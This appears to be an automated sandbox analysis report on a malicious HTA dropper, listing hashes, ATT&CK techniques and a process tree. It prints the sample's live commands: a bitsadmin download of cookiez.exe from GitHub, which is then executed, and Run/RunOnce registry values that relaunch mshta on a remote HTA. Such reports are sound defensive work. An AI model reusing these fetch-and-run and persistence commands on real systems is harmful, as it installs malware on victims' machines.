7fe124a0993d718f9a0056961a9efc3d87970de7af003ea435e3ffd1877219cd

General

Target
file.hta
Size 8KB
Sample260930-andvmaxt2p
SHA256 7fe124a0993d718f9a0056961a9efc3d87970de7af003ea435e3ffd1877219cd
MD5 b814cd127063bd423376b50428df3644
SHA1 c188e87c421624c272cc7bd8438d5b405488efe5
SHA512 05ee16bab7a3b403c46f80b49a0bfed78d64c32d30bbfe7d5ae64eef7cabbcc09f0f3b3622edc88c766c01613294d0f1d9fc85ed4ad07e72ca5dbc3348fed96f
SSDEEP 192:/TEORIJ3AdyjiWlDzjlvC9eZl6joyt1T4tSHCw:/TXRIJ3cyjnDzjlvCCl6joM1T7
TLSH
T12F02B5F7BD2AAA38864654ED3979D82CAC70455B485A41397D8C90981F0DBBBC3B03CF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery dropper persistence privilege_escalation

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	2908	mshta.exe
17	2684	mshta.exe
20	2684	mshta.exe
25	2684	mshta.exe
28	2684	mshta.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2336	bitsadmin.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\International\Geo\Nation	mshta.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wdu.vbs	mshta.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate = "mshta https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WinUpdate = "mshta https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta"	mshta.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
16	raw.githubusercontent.com
17	raw.githubusercontent.com
36	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	mshta.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	mshta.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	mshta.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2908 wrote to memory of 2336	2908	mshta.exe	90
PID 2908 wrote to memory of 3772	2908	mshta.exe	105

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\file.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Badlisted process makes network request
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2908
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer wd /download /priority high "https://github.com/huh71943-s/dicecheck.app/raw/refs/heads/main/cookiez.exe" "C:\Users\Admin\AppData\Local\Temp\cookiez.exe"
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2336
- C:\Users\Admin\AppData\Local\Temp\cookiez.exe
  "C:\Users\Admin\AppData\Local\Temp\cookiez.exe"
  2⤵
  PID:3772

C:\Windows\system32\mshta.exe
mshta https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta
1⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
PID:2684